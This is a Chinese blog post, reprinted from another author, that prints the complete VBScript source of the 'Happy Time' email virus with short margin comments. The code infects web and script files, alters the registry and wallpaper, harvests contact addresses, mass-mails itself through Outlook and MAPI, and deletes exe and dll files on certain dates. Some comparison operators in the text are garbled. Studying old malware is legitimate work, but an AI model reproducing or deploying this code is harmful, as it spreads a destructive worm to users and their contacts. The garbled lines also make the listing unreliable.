欢乐时光病毒原码分析
作者：swords
出处: ColorWolf:Swords
性质：转载
发布日期：2004-08-15
 
<script language='VBScript'>
Rem I am sorry! happy time
On Error Resume Next
mload                                ----------------------从mload开始罪恶的历程
Sub mload()                                  
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
If IsHTML Then                        ----------------------如果本程序是网页，就是在Outlook
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:/Help.htm"               ----------------------建立help.htm
Os.Doc = Lhtml()                      ------------调入全部源码
Os.Write()                            ----------------------存储自身到help.htm
Ihtml = "<span style='position:absolute'><Iframe src='C:/Help.htm' width='0' height='0'></Iframe></span>"
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then    
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)       ---------调用mclose
main                                ----------------进入主程序
Else
Os.Reset()
Os.Path = mPath & "/" & "Help.hta"        ------------建立Help.hta文件
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
End If
End If
End If
Else
main      
End If
End Sub
Sub main()                                      ----------------主程序
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
Set Od = CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks = "HKEY_CURRENT_USER/Software/"              -----------------写注册表
Ds = Grf()
Cs = Gsf()
If IsVbs Then
If Of.FileExists("C:/help.htm") Then
Of.DeleteFile ("C:/help.htm")
End If
Key = CInt(Month(Date) + Day(Date))             ---------------注意：破坏动作
If Key = 13 Then                                ---------------如果月日之和等于13
Od.RemoveAll
Od.Add "exe", "0001"                            ---------------删除.exe.dll文件
Od.Add "dll", "0001"
End If
Cn = Rg(Ks & "Help/Count")                      ------------修改注册表的计数器
If Cn = "" Then
Cn = 1
End If
Rw Ks & "Help/Count", Cn + 1
f1 = Rg(Ks & "Help/FileName")
f2 = FNext(Of, Od, f1)
fext = GetExt(Of, Od, f2)
Rw Ks & "Help/FileName", f2
If IsDel(fext) Then
f3 = f2
f2 = FNext(Of, Od, f2)
Rw Ks & "Help/FileName", f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname) <LCase(f2) Then
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER/Control Panel/desktop/wallPaper")  --------此处修改注册表墙纸
If Rg(Ks & "Help/wallPaper") <wp Or wp = "" Then
If wp = "" Then
n1 = ""
n3 = Cs & "/Help.htm"                      --------如果墙纸为空，直接设定help.htm为墙纸
Else                                       --------否则修改墙纸文件
mP = Of.GetFile(wp).ParentFolder           -------设定文件名和路径名
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "/" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt
pfc.Close
Rw Ks & "Help/wallPaper", n3
Rw "HKEY_CURRENT_USER/Control Panel/desktop/wallPaper", n3        --------修改墙纸
End If
Else
Set fc = Of.CreateTextFile(Ds & "/Help.vbs", True)                -------在此建立vbs文件
fc.Write Sa("0100")
fc.Close
bf = Cs & "/Untitled.htm"                          ------------修改Outlook Express 信纸文件
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
oeid = Rg("HKEY_CURRENT_USER/Identities/Default User ID")     --------又是注册表
oe = "HKEY_CURRENT_USER/Identities/" & oeid & "/Software/Microsoft/Outlook Express.0/Mail"
MSH = oe & "/Message Send HTML"
CUS = oe & "/Compose Use Stationery"
SN = oe & "/Stationery Name"
Rw MSH, 1                                                   --------写注册表
Rw CUS, 1
Rw SN, bf
Web = Cs & "/WEB"
Set gf = Of.GetFolder(Web).Files
Od.Add "htt", "1100"
For Each m In gf
fext = GetExt(Of, Od, m)
If fext <"" Then
Fw Of, m, fext
End If
Next
End If
End Sub
Sub mclose()                           -----------------------close 过程
document.Write "<" & "title>I am sorry!</title" & ">"
window.Close
End Sub
Sub Rt()                               -----------------------Rt 过程，调用Help.vbs
Dim mPath
On Error Resume Next
mPath = Grf()
Iv mPath, "Help.vbs"
End Sub
Function Sa(n)                        -----------------------Sa 函数，返回病毒文本
Dim VBSText, m
VBSText = Lvbs()
If Mid(n, 3, 1) = 1 Then
m = "<%" & VBSText & "%>"
End If
If Mid(n, 2, 1) = 1 Then
m = VBSText                            --------------
End If
If Mid(n, 1, 1) = 1 Then
m = Lscript(m)
End If
Sa = m & vbCrLf
End Function
Sub Fw(Of, S, n)                           --------------fw 过程，修改文件并发出
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
mt = fc.ReadAll
fc.Close
If Not Sc(mt) Then
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
fc2.Write mt
fc2.Close
Msend (mmail)
End If
End Sub
Function Sc(S)                              ----------------SC 过程，判断是否已感染
mN = "Rem I am sorry! happy time"
If InStr(S, mN) 0 Then
Sc = True
Else
Sc = False
End If
End Function
Function FNext(Of, Od, S)                    -------------------Fnext函数
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
If Of.FileExists(S) Then
fpath = Of.GetFile(S).ParentFolder
fname = S
ElseIf Of.FolderExists(S) Then
fpath = S
T = True
Else
fpath = Dnext(Of, "")
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
For Each m In gf
If T Then
If GetExt(Of, Od, m) <"" Then
FNext = m
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
T = True
End If
Next
fpath = Pnext(Of, fpath)
Loop
End Function
Function Pnext(Of, S)                           ----------Pnext函数
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
Set gp = Of.GetFolder(S).SubFolders
pn = gp.Count
If pn = 0 Then
Ppath = LCase(S)
Npath = LCase(Of.GetParentFolderName(S))
T = True
Else
Npath = LCase(S)
End If
Do While Not Er
For Each pn In Of.GetFolder(Npath).SubFolders
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
Npath = Of.GetParentFolderName(Npath)
If Of.GetFolder(Ppath).IsRootFolder Then
m = Of.GetDriveName(Ppath)
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
Function Dnext(Of, S)                        ---------Dnext函数
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
If T Then
Dnext = d
Exit Function
Else
If LCase(S) = LCase(d) Then
T = True
End If
If m = "" Then
m = d
End If
End If
End If
Next
Dnext = m
End Function
Function GetExt(Of, Od, S)                       --------------GetExt函数，获得扩展名
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
GetExt = Od.Item(fext)
End Function
Sub Rw(k, v)                                     -------------Rw过程，写注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
R.RegWrite k, v
End Sub
Function Rg(v)                                 --------------Rv 函数，读注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
Rg = R.RegRead(v)
End Function
Function IsVbs()                                -------------IsVbs函数
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
IsVbs = False
Else
IsVbs = True
End If
End Function
Function IsHTML()                               --------------IsHTML函数
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
Else
IsHTML = True
End If
End Function
Function IsMail(S)                               -------------IsMail函数
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then
m1 = InStr(S, "@")
m2 = InStr(S, ".")
If m1 <0 And m1 < m2 Then
IsMail = True
End If
End If
End Function
Function Lvbs()               -------------Lvbs函数，读自身的函数，自我复制的关键步骤
Dim f, m, ws, Of
On Error Resume Next
If IsVbs Then
Set Of = CreateObject("Scripting.FileSystemObject")
Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)
Lvbs = f.ReadAll                                --------------从vbs文件读入自己的全部
Else
For Each ws In document.scripts
If LCase(ws.Language) = "vbscript" Then         --------------从html文件读入自己的全部
If Sc(ws.Text) Then
Lvbs = ws.Text
Exit Function
End If
End If
Next
End If
End Function
Function Iv(mPath, mName)                     ---------------Iv函数，调用help.vbs
Dim Shell
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb
If Er Then
Iv = False
Else
Iv = True
End If
End Function
Function Grf()                               ---------Grf函数,返回shell路径
Dim Shell, mPath
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
mPath = "C:/"
For Each mShell In Shell.NameSpace(mPath).Items
If mShell.IsFolder Then
Grf = mShell.Path
Exit Function
End If
Next
If Er Then
Grf = ""
End If
End Function
Function Gsf()                            ---------------Grf函数
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
m = Of.GetSpecialFolder(0)
If Er Then
Gsf = "C:/"
Else
Gsf = m
End If
End Function
Function Lhtml()                          -------------------Lhtml函数
Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _
"<" & "TitleHelp </Title" & "><" & "/HEAD>" & vbCrLf & _
"<" & "Body" & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body></HTML" & ">"
End Function
Function Lscript(S)                      -------------------Lscript函数
Lscript = "<" & "script language='VBScript'>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function
Function Sl(S1, S2, n)                   -------------------S1函数
Dim l1, l2, l3, i
l1 = Len(S1)
l2 = Len(S2)
i = InStr(S1, S2)
If i 0 Then
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function
Function Ml(S)                              ---------------M1函数
Dim S1, S3, S2, T, adds, m
S1 = S
S3 = """"
adds = ""
S2 = S3 & "mailto" & ":"
T = True
Do While T
S1 = Sl(S1, S2, 1)
If S1 = "" Then
T = False
Else
m = Sl(S1, S3, 0)
If IsMail(m) Then
adds = adds & m & vbCrLf
End If
End If
Loop
Ml = Split(adds, vbCrLf)
End Function
Function Og()                             ---------------Og函数
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
Next
Og = m
End Function
Sub Tsend()                                ------------------Tsend过程
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " & Od.Item(m)
MM.RecipAddress = m
MM.AttachmentPathName = Gsf & "/Untitled.htm"
MM.Send
Next
MS.SignOff
End Sub
Function MConnect(MS, MM)                            ------------------MConnect函数
Dim U
On Error Resume Next
Set MS = CreateObject("MSMAPI.MAPISession")
Set MM = CreateObject("MSMAPI.MAPIMessages")
U = Rg("HKEY_CURRENT_USER/Software/Microsoft/Windows Messaging Subsystem/Profiles/DefaultProfile")
MS.UserName = U
MS.DownLoadMail = False
MS.NewSession = False
MS.LogonUI = True
MS.SignOn
MM.SessionID = MS.SessionID
End Function
Sub Msend(Address)                           -------------------Msend 过程
Dim MS, MM, i, a
MConnect MS, MM
i = 0
MM.Compose
For Each a In Address
If IsMail(a) Then
MM.RecipIndex = i
MM.RecipAddress = a
i = i + 1
End If
Next
MM.MsgSubject = " Help "
MM.AttachmentPathName = Gsf & "/Untitled.htm"
MM.Send
MS.SignOff
End Sub
Function Er()                                --------------------Er函数
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function
Function IsDel(S)                                -------------------IsDel函数
If Mid(S, 4, 1) = 1 Then
IsDel = True
Else
IsDel = False
End If
End Function
</script>
 

欢乐时光病毒原码分析相关推荐

  1. LinkedList原码分析（基于JDK1.6）

    <Java集合类>一文中已经最List的基本操作进行说明,并且比较了ArrayList和LinkedList的效率.本文将进一步解析LinkedList. LinkedList也和Arra ...

  2. FPGA学习之路—应用程序—原码二位乘法器及Verilog代码分析

    FPGA学习之路--原码二位乘法器及Verilog代码分析 原理 原码乘法可以分为原码一位乘和原码二位乘,两者在实现规则上大同小异.原码一位乘每次判断乘数的最低位,对被乘数和部分积进行相应操作.而原码 ...

  3. 动态代理原理源码分析

    看了这篇文章非常不错转载:https://www.jianshu.com/p/4e14dd223897 Java设计模式(14)----------动态代理原理源码分析 上篇文章<Java设计模 ...

  4. Linux内核 eBPF基础：kprobe原理源码分析：源码分析

    Linux内核 eBPF基础 kprobe原理源码分析:源码分析 荣涛 2021年5月11日 在 <Linux内核 eBPF基础:kprobe原理源码分析:基本介绍与使用>中已经介绍了kp ...

  5. Linux内核 eBPF基础：kprobe原理源码分析：基本介绍与使用示例

    Linux内核 eBPF基础 kprobe原理源码分析:基本介绍与使用示例 荣涛 2021年5月11日 kprobe调试技术是为了便于跟踪内核函数执行状态所设计的一种轻量级内核调试技术. 利用kpro ...

  6. Linux内核 eBPF基础：Tracepoint原理源码分析

    Linux内核 eBPF基础 Tracepoint原理源码分析 荣涛 2021年5月10日 1. 基本原理 需要注意的几点: 本文将从sched_switch相关的tracepoint展开: 关于st ...

  7. java部分基础知识 （二）：计算机组成原理 原码 补码 反码 按位符 移位符 按位与 按位或 按位抑或 非 分析hashMap的put方法原理

    这里写目录标题 引言 符号位 正数的二进制计算 负数的二进制计算 按位符和移位符 按位符 移位符 分析hashMap运算符 byte和char 总结 引言 最近做完一个项目后,我忽然发现自己的基础并不 ...

  8. 基于比原链开发Dapp（四）-bufferserver源码分析

    ##简介 ​    本章内容主要直接分析bufferserver源码,也就是比原链官方Dapp-demo的后端接口,里面包含了UTXO的托管逻辑.账单逻辑等,还会介绍一些改进的源码内容. [储蓄分红合 ...

  9. 基于比原链开发Dapp（三）-Dapp-demo前端源码分析

    # 简介 ​    本章内容会针对比原官方提供的dapp-demo,分析里面的前端源码,分析清楚整个demo的流程,然后针对里面开发过程遇到的坑,添加一下个人的见解还有解决的方案. ### 储蓄分红合 ...

  10. Java Review - 并发编程_ThreadLocalRandom实现原理源码分析

    文章目录 概述 Random的局限性 ThreadLocalRandom使用及原理 使用 原理 ThreadLocalRandom源码分析 ThreadLocalRandom current() 该方 ...

最新文章

  1. vim复制内容到系统剪贴板
  2. mac mysql 可视化工具_推荐3款好用的Redis、MySQL和MongoDB可视化管理工具
  3. FMCW雷达书籍分享 FMCW radar design
  4. weex前端式写法解决方案---eros
  5. 《openssl 编程》之 DH
  6. shell脚本启动kafka集群的多台节点
  7. RGB与YUV格式简介
  8. Mysql 5.7 的‘虚拟列’是做什么？
  9. LiteOS：剖析时间管理模块源代码
  10. 静态static与方法重载
  11. Linux IO模型漫谈（4）- 非阻塞IO
  12. C#基础知识回顾-- 反射（1）
  13. Redis 入门文档
  14. 2022蓝帽杯半决赛电子取证
  15. 在linux下使用ps3手柄
  16. 用python把视频转换为图片
  17. Windows系统封装（二）导入封装工具安装软件，安装系统。
  18. redission限流RedisException问题排查
  19. Fuzzy SVM with a new fuzzy membership function--文献翻译
  20. 《穷查理宝典》思维导图

热门文章

  1. 2019年上半年软件设计师上午试题及答案
  2. ❤️❤️❤️前端成神之路必看学习资源（二），建议收藏起来，偷偷学习！！！❤️❤️❤️
  3. 【UML】免费的UML绘图工具yEd
  4. 安装nvidia驱动和cuda工具包
  5. 两种.luac的反编译过程
  6. 持续集成、持续交付、微服务----微服务
  7. 网页文件是用HTML语言编写的,用HTML语言制作简单的网页
  8. python-math函数
  9. matlab EOF程序
  10. 数据结构：哈希表设计（c++）